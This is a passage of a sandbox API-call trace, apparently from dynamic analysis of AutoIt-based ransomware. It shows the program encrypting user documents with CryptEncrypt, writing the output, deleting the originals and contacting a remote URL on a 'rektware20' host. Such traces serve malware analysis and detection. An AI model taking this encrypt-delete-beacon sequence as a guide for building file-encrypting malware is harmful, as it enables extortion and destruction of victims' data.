CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.282] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.282] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629510, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629510*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.282] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.282] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.282] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.283] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.283] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.289] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.289] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.289] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.290] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.290] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.290] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.290] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.290] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.290] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.290] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.291] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621810, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.294] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.294] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xd791, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xd7a0) returned 1 [0071.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.295] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.295] CharLowerBuffW (in: lpsz="byte[55201]", cchLength=0xb | out: lpsz="byte[55201]") returned 0xb [0071.295] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.297] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.297] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.297] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b88, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.298] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.298] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17de2b8*, pdwDataLen=0x130e618*=0xd791, dwBufLen=0xd7a0 | out: pbData=0x17de2b8*, pdwDataLen=0x130e618*=0xd7a0) returned 1 [0071.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.301] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.301] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.301] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.301] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.301] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.301] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.301] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.302] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.302] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.302] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.305] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.306] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.306] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.306] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bc580*, nNumberOfBytesToWrite=0xd7a0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bc580*, lpNumberOfBytesWritten=0x130f01c*=0xd7a0, lpOverlapped=0x0) returned 1 [0071.319] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.320] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.320] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.320] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.320] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.320] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.320] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.320] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.320] CryptDestroyKey (hKey=0x164c530) returned 1 [0071.320] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.320] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.320] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.320] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.320] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.320] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.320] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.320] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.320] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.321] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.321] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.321] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.321] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.321] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.321] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.321] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.321] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.321] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.321] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.321] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.321] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.321] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.321] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.321] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.321] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.321] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.321] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.321] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.321] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.322] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.322] CryptReleaseContext (hProv=0x17aa1a8, dwFlags=0x0) returned 1 [0071.322] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.322] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.324] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.324] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.324] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.325] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.325] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.325] CloseHandle (hObject=0x3bc) returned 1 [0071.325] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.325] CloseHandle (hObject=0x2ac) returned 1 [0071.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.328] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.328] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", lpFilePart=0x0) returned 0x2a [0071.328] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qncm8s.rtf")) returned 0x20 [0071.328] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0071.328] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qncm8s.rtf")) returned 1 [0071.330] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.330] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0071.330] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.330] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.330] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.330] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.330] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0071.330] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.331] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.331] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.331] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.331] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.331] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.331] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c) returned 1 [0071.331] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.331] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.331] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.332] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.332] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.332] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.332] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.336] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.336] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.337] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.337] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.337] CloseHandle (hObject=0x0) returned 0 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 